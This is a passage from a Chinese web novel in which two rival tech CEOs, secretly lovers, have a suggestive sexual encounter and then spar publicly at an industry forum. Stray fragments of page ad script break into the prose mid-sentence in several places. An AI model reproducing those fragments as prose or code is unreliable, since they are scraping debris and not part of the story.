暧昧似乎在沉寂中滋生,商赭的手指也流连在路翎的衣服之上,抚摸着大致是心脏的位置。 扑通、扑通。 两个人的心脏实际上都早已跳得飞快。 路翎主动地靠近,啃了一口商赭的喉结部位,用舌头在自己啃出的牙印上摩挲。 “我收到了风声,有人打算来找我联手,针对你做个局,现在估计是想试探我的口风。对方估计是想看我们明天发布会见面时对对方态度怎么样,再决定要不要来找我合作。” 发音体震动,经过共鸣腔发出声音,在人类说话的时候,喉结同样会随着发言的变化产生些许的颤动。商赭的声音低沉,颤动并不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会过于明显,却依旧被路总所捕捉到了。 对方不甘示弱,微微低下头,咬在了路总的耳侧,在他的耳垂处缓慢地舔咬着。 商赭一只手搭在路翎的腰上,另一只手微微将他的屁股托起,就这么轻轻松松地把爱人给抱了起来。 “一听说雁翎要上市,什么妖魔鬼怪都找上门了。”路翎聊到这种商业的内容,他下意识地就把关注的重点转移到了商业上,浑然忘了自己还在和商总做某些在公共场合不能提起的事情。 雁翎集团在第一年快速占领了游戏的市场以后走的每一步都跨度极大,理所当然地引起了部分同行的敌意。 对于一家公司来说,被针对或许是一件非常危险的事情,但路翎却能在被针对以后一路把雁翎发展到今天别人不得不仰望的位置,曾经某些针对过雁翎的公司,现如今甚至需要从雁翎指缝中透出来的那么一点汤维持公司的正常运转。 这也是没办法的事,自己的经商天赋在这,他骄矜地昂起头,自然地亲了一口商赭的嘴唇,直到这个时候才发现自己在不知道什么时候已经被对方带到了一张桌子的旁边。 “对了,晚饭吃什么。” 路总十分理所当然地霸占了商赭的书桌,他坐在书桌的边沿。 商总来不及回味刚刚那个不到一秒的吻——更贴切地来说,其实应该是路总撞了他的嘴唇一下,就开始思忖了起来。 外面现在还下着雪,按照商赭对路翎的了解,对方肯定会想要跑出去玩,但他大清早地就起床坐飞机过来,没做好准备就出去玩很容易感冒。 最关键的就是,久别重逢,两个人接下来会做什么都可想而知。 别看路翎现在坐得笔直,估计下一秒就要睡在桌子上了。 商赭犹豫了一下,提议在这家酒店里面解决。 “也行吧,那我要吃猪颈肉。”路翎踹了一下自己的皮鞋跟,费劲地把鞋子踢开,冲商赭张开双手道,“我想你了。” 他这样冲商赭发话的时候,语气里不自觉地带上了几分撒娇的意思。 商赭忍不住摸了摸他的脑袋。 路翎晃了晃脚,十分刻意地“不小心”踩在商赭的大腿上。 一对有情人在多年后的久别重逢里应该做的事情很多。 撇开那些无趣的话题,他们对视了一眼。 商赭这家伙居然还有闲情逸致拉开床头柜看了一眼。 经检查,酒店应该有的用品数量齐全。 他快步将路翎从书桌上抱起。 路翎骤然失重却并没有任何的惊惶,他一只手圈住商赭的脖颈,另一只手则按在了商赭的脸颊上。 欸,按错了。 他闭着眼睛,伸手摸索了半天终于找到了商总的眼镜所在。 商赭就这么任由路翎使坏一样地将自己的眼镜摘下。 都说眼睛是心灵的窗户。 没有了镜片的阻挡,逐渐适应了黑暗的两个人也已经可以清楚地辨认彼此的动作和表情,两颗心毫无疑问贴合得更加紧密。 “距离座谈会开始还有四个小时的时间,午饭就算了,没什么胃口。”路翎将商赭的眼镜折叠,用尾指勾住对方的眼镜腿丢到床头柜上。 而商总则礼尚往来地抽下了路总的领带,叠好再盖在了眼镜上面。 两个人的动作都慢吞吞的。 这句话和明示无异。 触碰彼此的瞬间大脑皮层仿佛有电流划过,柔软的床垫微微塌陷下去。 5. 新春座谈会05 两个人都像是陷在了床垫里一样。暖气制热效果很不错,很快就把两位总裁热得浑身出汗。 自己的西装领带还挂在脖子上,商赭这家伙的癖好有时候真的很奇怪。 路翎闷闷地在枕头里哼了一声,被商赭牵着手又亲了一口侧脸。 高层的窗户一般不会完全开启,只是打开了一道小缝。 被拉上的床帘在风的吹拂下摇晃开,稍不注意就倾泻出满屋的日光。 路翎被晃得有些头昏眼花,抱怨地推了推商赭的肩膀。 他的双眼甚至没有办法精准地聚焦到一个具体的位置上。浑身酸胀的难受让他忍不住气恼地戳了戳商赭的侧腰。 这种报复的手段并不能够奏效。 反而是在某个时刻,原本想要推开对方的手忽然克制不住地抓挠起商赭的后背和手臂。 商总被挠得见了血,回过头又加重了身下的力道。 他的肤色比路翎深了半个度,毕竟在留学的时候晒得多,和路翎这种一天到晚躲在机房里的完全不同。 两种不同的颜色交织着,与洁白的床单形成了眼下最强烈的对比。 被子早在不知道什么时候就已经被踢到了一边,和衣物一起散落一地。 原本路翎想要挣扎着往前爬开离对方远一些,却被商赭按住腰肢往回一拖。 动作间许多刚刚萌生的想法就被冲散了。路翎只来得及拽住了床单的一角。 溃败只在一瞬间,偏偏在这种时候对方还要十分做作地问上一句:“是累了吗?宝宝,要不要休息一会儿。” 叫谁宝宝呢!说谁不行呢! 听到这里,好不容易缓过劲的路翎只能继续嘴硬地说道:“我一个享受的,当然不累了。该不会是你不行了吧,不行的话早点说啊。” 实际上,他心里倒是祈祷着对方赶紧领悟自己所要表达的意思,结束这一场漫长的折磨。 商赭轻笑了一声,并没有被路翎的话语所激怒,他当然看得出来路翎的意思,只是两个人这么久没见,即使是商总也希望能够多温存片刻。 他手上抓得更紧,像是故意防着某人逃走一样,两只肉食系的生物就这么在耳鬓厮磨的过程中开启了新的一轮较量。玩着玩着又进了浴室进行清理。 屋外的雪在暖洋洋的午后日光中渐渐消融。 路翎恶狠狠地咬了一口商赭的喉结,对方微微后仰,松开锢住路翎的手,两个人都克制地没有在对方露出来的皮肤上留下印记,但衣服遮蔽的地方……路翎忍不住揉了揉自己的腰。 屋内的落地钟发出了咚的一声。 下午一点了。 两个人对视了一眼,商赭拿起刚刚被丢到一旁的眼镜,重新戴了回去。 虽说是平光眼镜,但是商赭这家伙戴上的时候就很有斯文败类那味。路翎靠在床上欣赏着商总的身材。 一看就是经常去健身房锻炼的那种。 对方的手指修长,是很适合弹钢琴的手,轻轻松松就能跨八度和弦。在用力的时候,手背上的青筋会微微隆起。 扣住路翎的手掌时会比路翎大上一点,把路总的手包裹其中。 他在心里腹诽道,怪不得对方每次出席这些峰会的时候,总是会在新闻媒体和社交平台上收获众多的好评,估计放在杂志之类的封面都能拉高这一期的销量。想到这里,他忽然又忍不住笑了起来。 不知道路翎为什么突然笑得靠到了自己的身上,商赭在衣柜里找了几件常服给衣服全部被弄脏了的小路总换上。 衣来伸手的路总被自己的爱人牵着换好了衣服。酒店这边预存的衣服大都是黑白灰色系的西装,如果不细看其实看不出来路翎换了衣服。 颇有心机的商总故意别上同款的袖扣,又给路总选了一条中式的红色领带。 “我们好像穿了情侣装啊。”身上的每个颜色都是对应的。路翎捏了捏商赭的手心,商赭的小心思一览无余。 此时距离座谈会还有一个小时。 商赭本来是打算抱着路翎回去的,但路翎脸皮薄,在意识到商赭的意思以后下意识地咬了一口商赭的虎口。 他咬完人,才反应过来自己刚刚做了什么一样,微微泛着粉色耳垂和脸颊透露出一种莫名的羞赧:“待会儿让别人看见了怎么办!” 他们的手下可都是不知道路翎和商总两个人私底下在拍拖的。 “看不见,他们要上楼必须刷我们的权限卡。”而权限卡则必须经过他们的同意,走廊上又没有监控。 商总的目光停留在路翎泛粉的耳垂上,像是被蛊惑了一样,从后方偷袭了路总,咬着他的耳垂慢慢地啃咬着。 “你是狗吗商赭!嘶……痛死我了!” 路翎试图躲开对方突然的攻击,却在转头时和商赭又情不自禁地亲了起来。 唔。 他努力地扒拉住了附近的床单,努力不让自己去抓乱商赭好不容易换好的衣服。 “别亲了别亲了。”他举起双手投降,“堂堂商氏集团的总裁,怎么跟小狗一样啊。”抱怨说得像撒娇一样,路翎说着按了按自己脖子上的红痕,又趁着商赭不注意,在对方的喉结处恶狠狠地咬了下去。 哼,总不能白让这家伙咬了。 在阳光下,他牵住商赭的手,又是亲昵了好半天的时间。 屋内的设施完全按照路翎本人的喜好设计摆放,路翎闭着眼睛都能够知道自己要在哪里拿到想要的东西。 虽然他们这类互联网企业开会时大多数比较放荡不羁,一身黑白格子衫也敢出门,不过今天会议的第一天,又有上级领导莅临,还是要穿得正式一点。 路翎看着全身镜里的自己,尤其关注那些自己一个人看不见的区域,确认没有什么奇奇怪怪的痕迹。 他的这身搭配走的是休闲风,但是却显得格外的英俊。 毕竟这可是他和商赭第一次在公开场合上互相对上。路翎有些期待地摸了摸袖扣,快步走回了自己的房间中。 没等多久,助理在门外按响门铃,路翎对了一下时间,推开门和自己的两位秘书打了个照面。 “老板,距离会议开始还有四十分钟。需要帮忙现在做一遍报告梳理吗?” 明助理推了推自己的眼镜,他们两个没有上台演讲的负担,这次行程可以说是彻头彻尾的公费旅行,中午开心地睡了一个好觉,现在精神奕奕。 路翎摇了摇头,轻轻点了点一旁的水杯。 秦助理立刻给他接了一杯热水。 在先前较为疯狂的几个小时里面,路翎的嗓子里发出了太多的声音,导致现在的嗓子还有些许的不舒服,虽然不影响聊天,但路总还是撇了撇嘴。 他脸上还是那副淡然的模样,心里已经将商赭骂了个十万八千遍。 虽然说是自己主动邀请对方的不假……但他怎么能够把自己折腾成这样?不管,先谴责一下商赭再说。 “等下会议结束以后,明灿你就带着小秦出去玩吧。” “好的老板!”明助理脸上的笑容瞬间加深了几分,他迅速地给秦助分享了他提前做好的附近美食攻略,两个人约着打算去附近的商场里吃顿好的。 二十分钟后,路翎下了电梯,他的手机此时忽然震动了一下,是一则《人民日报》痛批某家外来手机厂商的推送。 对方的系统自成一家,一直以来都备受追捧,但是前两天刚好爆出了一个系统后门的小bug,工程师加班加点地修复,到现在还没修好。 路翎看过被公布出来的系统漏洞,隐约察觉到似乎还有一个嵌套的BUG,但在没有掌握原始代码的情况下即使是他也不能贸然断定这一点。 他将手机反扣,慢吞吞地往宴会厅走去。 这次会议虽然人员规模不大,排场却不小。 举办的时候居然还要像娱乐圈一样走红地毯和签名,着实让两位助理大开眼界。 路翎虽然对参加宴会这件事情没什么经验,但唯独在这方面却还算得上是信手拈来。在港城生活过的两年见识过的明星晚会也大都是这个流程。 不仅有红毯,居然还有专门cue流程的主持人站在红毯的尽头负责和来宾们谈笑。 最重要的是,也不知道是不是主办方故意搞事,他和商赭的出场时间偏偏还就安排在了一起,两个人作为压轴和大轴的重要人物上的红地毯。几乎所有还没离开红毯的人都忍不住把目光驻足于此。 路翎脸上带着笑意,和附近熟悉的几家媒体挥了挥手。 等等,港城的媒体也来了。路翎忽然有些警觉,他还在那块牌子上签着自己的名字,商赭就已经走到了路翎的身后。 周围传来了一阵抽气声和惊呼声。当然,还有源源不断的快门声。 在大众的眼中,此时此刻就是商赭和路翎第一次在公开场合里的正式会面。 路翎回过头,两个人在此时此刻终于对上了视线,不约而同挂起在别人眼里“十分虚假”的笑容。 路翎将自己右手上的笔递给对方。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 商赭对他微微点头,接过了笔。 两个人的身体微微凑近。 但是这样怎么能有爆点呢!台下的港记错位抓拍成功,忽然灵机一动。 一旁的主持人见状,立刻十分尽职尽责地推动进度,对眼前的商赭进行询问:“说起来这次应该也是商总和路总两位第一次正式见面吧?有没有什么感想?” 不知道为什么,路翎忽然觉得这位主持人嘴里的“第一次正式见面”不应该用在这里,更应该用在相亲对象第一次见面的场合当中的错觉。这位主持人以前不会是干婚礼司仪的吧。 对方和主持人寒暄了两句,随即才和路翎开口说道:“确实是初次见面,您好啊,路总。” 打完招呼,商赭就自然过去签名了。 路翎那边的签名早就已经写完了,可以直接进去宴会厅里面,可他却没有离开,反而是站在原地,就自然地靠在旁边,像是在等商赭签完名把笔还给自己一样。 为了防止尴尬,于是主持人不得不继续问向路翎:“路总,和商总第一次见面,对他第一印象如何呀?” 路翎勾起了嘴角,说道:“啊,看上去就很讨人厌。” 顿时,周围镜头的快门声再次响起。 甚至还有比较大胆的媒体立刻举着录音笔对路翎发问:“路总对商总的第一印象这么差吗?为什么呢?您认为商总是您事业上的劲敌吗?毕竟我们都知道商总和路总最近在许多行业的投资布局上都撞了一样的决策。” 商赭那边签完了名字,转过头把笔递给了主持人,颇为轻松地双手插兜,刚好面对刚刚发问的那家媒体回答道:“能当上路总的劲敌是我的荣幸。” 他们两个人谁也没再说下一句话。 主持人接过笔了以后愣了一下,急忙把笔还给路翎,也不知道是不是故意要给他们腾出位置,居然还往另一边走了好几步,硬生生给他们腾出了个巨大的空位。 镜头虽然对准了他们,但在没有麦克风、又是这么嘈杂的环境下,旁人根本听不见他们的对话内容。 不得已,各家报社也只能充分发挥自己看图说话的本事,再加上自己对他们对话内容的脑补解读,将消息传回大后方。 商赭挥了挥手,颇有风度且笑意盈盈地问道:“路总怎么不理我?” “腿酸。”路翎言简意赅,他磨了磨后槽牙。 中午要不是对方一直不肯放自己休息,他也不可能现在站一会儿就开始腿酸。 两个人的身体贴近又远离,就等着这么一次世纪会晤的媒体们当然不会错过这一幕,无数咔嚓的声音此起彼伏。 路翎脸上的表情定格在看到商氏集团旗下的媒体也到了现场的时候,他脸上挂着浅笑,从喉咙里发出气音骂道:“托你的福,我现在腿软得走不动路,你家媒体照片拍好了没有?要不你扶着我走算了?” 扶着走当然是不可能扶着走的,那样未免也太丢人了些。路翎撂了狠话,却还是故意做出了和商赭敌对的样子。 “你家的媒体似乎拍好了。不过我现在可不敢扶着路总,毕竟现在必须是路总最大的敌人。”商赭说着说着还有点委屈。 这家伙中午爽了那么久,现在还委屈个什么劲啊!自己不都是任由对方动作了嘛。 路翎飞了一个眼刀给他,转身大跨步地进了宴会厅里面。 周围的媒体拍够了素材,立刻就把图片传回了自己所在的公司,抢着要发第一手的新闻。 今天的看点事件不就有了吗?说不定这周接下来还能一直维持着这件事情继续炒呢。 这些网络媒体早就想好了自己的文章内容。 这些网络媒体们深谙互联网的引流之道,不管事实真相如何,先用一个劲爆的标题吸引观众们的目光,为了网民们的热度可谓无所不用其极。 哪怕从头到尾完全听不见商赭和路翎的谈话,也能够硬生生从两个人的表情变化上做微表情分析,恨不得用口型对比剖析他们此时此刻也多么的面和心不和——更何况还有刚刚路翎的话语作为“铁证”。 当然,唯独港城的记者除外。作为港媒,他们也有不与世俗同流合污的骄傲。 不多时,一份全新的报纸出现在了港城报社当中。 “情难自禁?吵架定係调情?京城阔少情侣装太子炳走红毯,疑似好事将近!” 不知道为什么,路翎忽然感觉头皮一阵发麻,好像是有什么他们所不知道的可怕事情发生了一样。 是错觉吧。路翎想。 6. 新春座谈会06 现在宴会厅已经齐了大半的人,在这种场合中,第一排正中间当然是莅临指导的领导专座。 路翎和商赭根据指引走到第一排侧面的位置,他和商赭的席卡被摆放在了临近的位置,每个从第一排路过的老总都会下意识地扫过一眼。 不少人在心里嘀嘀咕咕起主办方的不讲究。 虽然这两位此前从来没有在公开场合中一同出现,但是生意场上怎么可能有人真的关系融洽,把这两位的席卡放在一起,真的不是故意的吗? 眼见着商赭和路翎落座。 不少人下意识地支棱了起来往前方的位置看。 主办方配备的摄影师也带着镜头时不时地扫过。 前面的桌子遮挡住了大部分的小动作。 小路总漫不经心,轻轻地踹了商总一脚。 商赭不动声色地瞥了一眼身侧的路翎,两个人对视一眼,没有开口。 嘶!好浓郁的火药味! 附近的几位老总都是消息灵通的人,已经听说了刚刚红毯上发生的事情,纷纷投以隐晦的注视。 雁翎集团发展过于迅猛,不论南北都受到了极大的冲击。 对于那些“老资格”的互联网前辈而言,雁翎的出头抢走了他们的市场份额。 起初,雁翎集团异军突起,早就已经成了许多人的眼中钉肉中刺。 可直到路翎的公司业务逐渐拓展,原本将雁翎集团视作敌人的公司们又纷纷依附到了他的手下。 原因无他,如果一个人只是超过了自己些许,其他人可能还会有些不服气,但当差距被拉开到一定的距离以后,面对着难以跨越的鸿沟,许多人都会望而生畏地停下脚步。 能在短短的五年时间里,就把一个小小的游戏公司做到现如今得以和商氏集团平起平坐的地步,就好比紫禁之巅叶孤城和西门吹雪论剑,闲杂人等只能够抢夺观看比斗的令牌,却是一点都不敢参与到这片争斗当中。 谁都不想被卷入两大巨头的争斗中,成为商业战场上误入被一口吞掉的炮灰。 恰巧秒针跳转到准点,周围骤然暗了下来。 商赭的手在灯暗的瞬间就搭在了路翎的左手手背上。 明明是一片黑暗,可那种莫名的情愫却在商赭和路翎两个人之间涌动着。 眼睛最先适应了黑暗的环境,他们注视着彼此在黑暗中的眉眼,用手指的接触感应着彼此的存在。 而后聚光灯旋转打到了登台的主持人身上。 没有人会注意到第一排桌下的小动作。 路翎故意在商赭的手心里挠了一下,偏偏又在商赭转头过来的时候抬头看向了正前方的讲台处。 上台致辞的领导们说着关于未来的展望,包括了未来十年、五年的工作计划,路翎屏息凝神,认真地听着上面的讲述。 商总这下却不老实了,被路翎刻意地撩拨过后,商总便就着这个隐秘的姿势,慢慢地揉捏着路翎的每一根手指。 他和路翎十指相扣着。 台上,领导终于提及了今天的重头戏——今年八月要在首都举办的那场互联网大会。 这次新春座谈会之所以会特地折腾得这么花哨,也有一部分这方面的原因,各个有资格参加这场盛事的企业都受邀出席,提前进行流程的对接和预演。 新春发布会时不时会有互动和提问的环节,各个公司的老板们、技术方面的专家们一起探讨是否能够实现互联网大会时的某些重点项目。 整个会场热闹非凡。 路翎直起身,在眼前的笔记本上涂抹了几个符号,这些都是他感兴趣的,其中也不乏和他现在手头上正在研究的无人机项目相似的内容。 “你们递上来的节目里有一个预案是夜间的无人机表演活动。”领导忽然点到了雁翎集团的名字,路翎下意识地松开了和商赭交握的手,在聚光灯打过来以后,站起身点了点头。 在灯光下,小路总的脸白得几乎能够反光,让摄影师不得不反复调整了一下参数。 他站在黑暗中,接过了工作人员递来的话筒,不需要和附近另一位老总一样时不时低下头看稿,直接介绍了起来。 “是的,我们目前有在研究多机协作的大型无人机矩阵群体表演活动。” 这个预案实际上是路翎出于私心提交上的预备预案,夹杂在一众技术成熟的预案当中并不起眼,但在这个时候却格外超前。 周围传出一阵哗然,无人机表演? 无人机大家都知道这是什么,但这不是仅限用于军事领域方面的机械吗?虽然近几年已经陆续投入民用范围,开始尝试改变程序使其可以投入到自动化农场、进行农作物数据监测和灌溉之类的活动中,也有不少人开始买入国外产的无人机进行航拍之类的活动。 但多机协作的无人机表演却和这些并不是一回事。 “在无人机上内置灯光系统,夜晚的时候,利用程序进行无人机的灯光明灭控制和位置的调动,在有充足的无人机集群的情况下,就可以实现无人机的表演活动。”路翎简单地讲述了一下自己的想法。 全世界所有市面上能够买到的无人机都能够在他的家里找到,这次的节目设计就是源自他自己在家里的时候成功地利用程序完成了一个简单的无人机表演。 “你的计划我看了,但是同时连接上千台无人机的程序这方面会不会有点问题,毕竟大部分的技术评估人员都认为这个程序会容易发生故障。” 附近的几位技术人员摇了摇头,现如今无人机的技术并不算发达,通过编程实现无人机集群表演听上去简直就是天方夜谭。 就拿农业方面上的无人机运用来说,建设现代化农场的过程中,无人机自动化灌溉所面临的一大难题就是对农作物的状态识别和行进路线的判断。 必须由人操作着无人机的使用,如果设定自动巡航之类的,以现有的技术并没有办法做到及时悬停,总是会出现飞到一半撞在了小鸟之类的动物上,落得个坠机的下场。 以不少专家的眼光来看,目前这个节目更像是年轻人的妄想。 左侧的那位老板露出了假惺惺的笑容,刚想和路翎继续套近乎,跟他解释这个技术上的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 难点和痛点,他忍不住拉拽了一下自己的领带,面上虽然毫无变化,实际上心里却有些暗暗得意了起来。 果然还是年轻人,连这种不切实际的方案都敢提交上去,现场这么多的专家都持反对意见,在领导面前肯定要被记上一笔。 “小路总啊,你还是太年轻了,像这样的大会,可不能递交什么不切实际的项目,不如老老实实沉淀下来,不需要你做出多么经验的成果,但总比在所有人的面前丢人好得多。” 他们集团提交的是LED灯阵表演,和路翎的表演活动内容相似,但却是最容易实现的一环。 不是谁都有资格拿到雁翎集团提交的预案全部内容的。 这位老总并不知道路翎已经提交了一个他自制的无人机表演视频。 这个视频里只用到了十架的无人机,却能够在夜色中展现出不同的图案。 而几乎所有看完这个视频的人都会愿意为路翎的企划案拍案叫绝。 仅仅只是几架无人机而已,他却利用光束和灯点在黑暗中形成了一个所有人都绝不会认错的图案。 红色和黄色的光芒交织,像是打铁花一样,红色组成了锤子,黄色组成了镰刀,图案虽然简易,却形象而又生动地展示了一切。 无人机表演活动只是路翎交上去的备选方案之一,但只要看过这个视频,就会立刻意识到,这个表演项目只会是雁翎集团的唯一选择。 如果可以在夜间的时候对参与大会的嘉宾们进行无人机活动的展示,看过视频的人不由得畅想了起来,路翎在预案上提及了许多的场景,要用无人机表演出他所描述的复杂图案,背后所需要付出的努力可并非一星半点。 但是那又如何? 就像路翎在预案里写的那样。 国内的技术当今世界无人机技术的标杆,并不是国外无法做出来的国内就做不出来,不试试怎么知道会不会成功? 台上的领导提问道:“你目前的预案只有一个视频,那有没有进行过复现呢?” “没有。”路翎笑了一下,此时的他尚不知道上面的人在看过表演视频以后已经下定了决心,还以为这次的无人机表演活动计划大概率要被否决,这位领导却忽然笑了起来,说道:“我记得你提交过一个无人机使用审批对吧?” 这是路翎先前为活动做的准备,助理们早已在后台和具体的工作人员对接过,扫描了现场的整片空间。 路翎点点头,就见领导点头道:“既然你已经做过了这方面的准备,那麻烦路总待会儿在自己上台的时候展示一下了。年轻人就要有这种想象力嘛,大胆去干就对了,经费已经给你批了。当然,两手准备也要做好,这个你自己把握得住吧?” “保证完成组织任务!”路翎的眼睛瞬间就亮了起来。 在他坐下以后,路翎右手边的那位CEO忍不住打量了一眼路翎,也是没想到,雁翎集团会给出来这么一份不同寻常的活动内容。 他们交上去的内容都是到时候自己的展台内部活动的,估计是没有人能和这位路总一样,把主意打到天上去。 7. 新春座谈会07 互联网大会每家企业的展台位置相当有限,不可能让所有的企业都进行大型的展览,既然如此,路翎就打算把自家的展览搬到天上去。 而这个预案也恰好和商氏集团的预案相反。 商氏集团准备的并不是天空上的表演,而是一款新型的地面作业机器人,可以在上面搭载不同的程序实现机器人的不同工作方向,能够适应各种错综复杂的地面环境,目前也已经经过了多次的测试,反馈结果相当优异。 在预案里,商氏集团申报了需要数十平米的展示台,打算搭建不同的平台模拟地面实景,甚至还列出了类似于地震救灾机器人的例子。 路总把麦克风递回,聚光灯重新转移到了领导的身上。 在路翎左侧的那位老总在路翎和领导的对话之时,脸上就已经青一阵白一阵的。 原本以为雁翎集团是在吹牛,没想到对方居然是认真的。 自己先前的那通说教就显得有些可笑了。 而一旁的商赭脸色也微沉了下来。 手上拿到的有关于雁翎集团的项目的相关报告是在截止前一个小时才完成的上传,这当然不可能是因为路翎拖延症发作,那么显然就只剩下了一种可能。 这是路翎踩着时间点完成的方案,估计还是熬了好几个夜才做完的。 路翎眨眨眼,侧身回避了商赭锐利的眼神。 糟糕,为什么忽然感觉凉飕飕的,自己开会前几天脑子一热通宵做出来的预案,商赭不会猜出来自己没按时休息了吧。 路翎感觉今天自从进了宴会厅以后,自己就老是莫名地浑身发寒。 他扫视了一圈屋内,怀疑是因为空调的风口直直地对着自己的缘故。 左侧的那位老板从路翎坐下来以后,就一直目不转睛地盯着他和商赭两个人打量,看见商赭的表情变化,当即认为对方是受到了雁翎集团的预案的影响。 这两位果然和大家猜想的一样关系不好啊。 他们关系不好,这位CEO就放心了。 作为先占据互联网这片战场的前辈,CEO对这些“互联网行业的后起之秀们”都抱着一种抵触的情绪。 在他的眼里,商赭和路翎两个人都属于瓜分互联网这份大蛋糕的后来者,对方是在看到了他这一代人的成果以后才踏入圈子的,不像自己,高瞻远瞩,早八百年就投资其中。 自己可实在是太有眼光了。 后来者怎么能够超过前辈们的成就? 姓宋的CEO是业内出了名的小肚鸡肠,但路翎一直没有见识过,今天第一次照面就意识到了这个人的不好相处。 对方仗着自己是早入行的前辈,摆出一副指点的样子,浑然忘了自己的公司近几年有多么拉胯的事实。 业内有八卦传言,说对方在公司里就是这样的,要求说一不二的话语权本来是很正常的事情,但几年前的时候,哪怕评析项目的人员都一致认为某个项目不能投资,对方却依旧以这是他的亲戚为由怒砸了上千万资金。 那个项目赔了个大的。 这人虽然没有挪用公款,但是因为他此前在互联网上曾经信誓旦旦地说过相信这个项目,现在项目失败,也是被翻出来嘲讽了一遍,当日的公司股价差点碰到了跌停板。 “路总待会儿要在台上演示?” 路翎脸上的笑意不及眼底,对方简直和学了变脸一样,在最短的时间内就端出了一副仿佛发自内心为路翎感到高兴惊讶的长辈姿态,说道:“也不知道商氏集团会准备什么内容?” 对方摇头晃脑,一副非常不看好的模样,秉持着敌人的敌人就是朋友的原则,这位宋CEO相当能屈能伸,前面还在嫉妒路翎投机取巧就能白手起家走到现在,现在却又装得好像同仇敌忾似的,说道:“商氏集团准备了这么多年,最后就折腾出来这么一个机器人小玩意儿?这不是现在丢给随便哪个高校都有学生会做的小机器人吗?” 他不懂可以适配任意程序的机器人的作用,只是以过往的目光粗浅扫了一眼商赭提交的预案,立刻就对商氏集团的预案判处死刑。 路翎对这个毫无共同话题也毫无科技嗅觉毫无目光的前辈的耐心缓慢下降,听到他贬低商赭的科技产品,路翎忍不住眯了眯眼睛,却被误以为是听进去了的表现。 他和商赭位置靠得近,这位宋CEO只能鬼鬼祟祟地递来了一张名片,上面写的是对方的私人号码,还神神秘秘地说道:“路总待会儿的项目展示以后,我们可以抽空谈谈合作。” 这人摆出了一副高高在上的说教姿态,仿佛雁翎集团是什么不如对方的小公司,态度傲慢得令人发指。 要不是台上的声音太大,估计周围的老板们都要侧目看过来了。雁翎又不是什么需要求着对方公司办事的小企业,同体量的情况下也敢这么说话,是嫌弃自己的市场份额太大了吗? 而路翎听到了这么冒犯的发言,不由得勾起了唇角。 水鱼钓了这么久,可算是上钩了。 台上的发言终于到了尾声。 只听领导说道:“接下来就是我们今天的重头戏。”话音刚落,原本有些许噪音的屋内又静了下来,所有人不约而同地收住了话头。 事关互联网大会,上头的态度是慎而重之的,国内能够有机会承办这样的大会 大型会议的机会本就来之不易,接下来的风向也势必随着大会的进展发生改变。 商赭将刚刚台上的领导提问时的关键词记在了随身本上,顺带记下了刚刚猜到的路总罪状一则。 接着就到了第二环节。 各家企业的发言人登台发言,每家都要对今年接下来的工作进行展望和交流。 俗称吹牛大会。 台上的人一开始还说得头头是道,后面所说的就完全是画饼了,把未来展望说成了科幻片才有的剧情,听得商赭在旁边连笔都懒得拿,反而端起桌子上的搪瓷杯抿了一口。 菊花茶沁香扑鼻,清热败火。 缺点就是志愿者刚刚加过,有点烫嘴。 路翎抽出一半的注意力听着发言,另一半的注意力全部都集中在了手机上。 商赭转发了一则新闻报道给自己,看样子是来自港城的八卦小报。 就是这个标题看着有点不对劲。 京城阔少是谁?太子炳不是《七十二家房客》里的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 包租公吗?路翎小时候看电视剧最讨厌的角色就是这位。 注意到缩略图,路翎忽然打了一个冷战。 等等,不会吧。 好奇心驱使着小路总点开这则可怕的推文,在看见自己的脸以后飞速地关上了页面。 死者体征很稳定,可以让家属现场做人工呼吸抢救。 【不许看手机了,好好听上面的发言!】 恼羞成怒的路总剥夺商总的娱乐权利,只是这一集中注意力听讲,两个人却也都听出了问题。 现在在台上的这位陈总讲的是有关于互联网金融方面的内容。 这方面国内外多年以来都有专门的项目团队研究,对方所讲的其实是美国那边前几年就有的理想模型的内容,甚至路翎有一定的把握对方可能是直接把论文进行了Ctrl+C和Ctrl+V处理写出来的这么一篇发言稿。 100%查重率的那种。 这人写发言稿的时候甚至没有考虑过美国和国内的市场完全是两个截然不同的环境,以他所直接照搬的绝对不可能实现吗? 两个人听着听着又忍不住摸出了手机。 【你觉得他的项目能落地吗?】 【个人网络借款这个行业从去年到今年一直在膨胀,要炸。】 【影响因素很多,暴雷概率太高了,不过他切中刚刚讲座上领导说的内容了,这方面上面一直有在关注。】 【他的设想不够现实,我毕业前一年有听说过这方面的项目,但是坏账率很高。】 【没有行业监管注定会出事,我回头去和刘老提上一嘴。】 两个人对视一眼,纷纷肯定了彼此的想法。 互联网金融本来就是他们所关注的发展方向,但是大厂的决策往往牵一发而动全身,两个人一直以来都是在观摩并非没有原因,实在是海外相关行业几乎是做一个倒一个,就算是巴菲特都不敢保证投资这方面的内容会是对的。 如果真的要加入其中,那么以商氏集团和雁翎集团的体量来看,毫无疑问,他们就是彼此在这个市场上最大的竞争者。 并非小的企业不值得警惕,而是互联网金融在国外时走的路线就已经注定了小企业的资金链无法和大企业一样顺畅地运行这个项目直到一切走上正轨。 先前台上提问路翎的那位领导姓刘,是从南方升上去的,和路翎有过几次点头之交,对他印象很好,早几年在特区的鹏城工作,非常了解市场监管的重要性。有路翎去提醒,起码这方面不会发展到和国外无数家庭家破人亡一样的地步。 在这种存在较大安全隐患的行业,官方的合理管控是必要的。如果没有落实到位的市场监管,到时候出事了连善后都会是一个难题。 在留学期间,商赭就见过相关行业公司相继破产,一个个曾经盆满钵满豪情壮志的老板们纷纷在冰冷的行业寒冬里走上天台的场景。 互联网发展迅速,即使是他们,也不可能保证绝对不做出任何一个错误的决策。 对于他们而言,早已经不是一个人就能做全部的决定的时候。 如果真的发生了什么意外再进行追究,那麻烦就更大了。 8. 新春座谈会08 姓宋的显然还沉浸在自己依旧是互联网早期皇帝的美梦里,甚至没有意识到他所被安排上台的发言次序在中后段,和路翎商赭之间隔上了七八个老板。 其实很快就要轮到对方发言了。 宋CEO此时此刻已经忘记了自己先前都说过什么,听着台上陈总的发言,他听得那叫一个心潮澎湃。 他摩挲了一下自己的下巴,询问道:“刚刚听完陈总的演讲,路总觉得怎么样?” 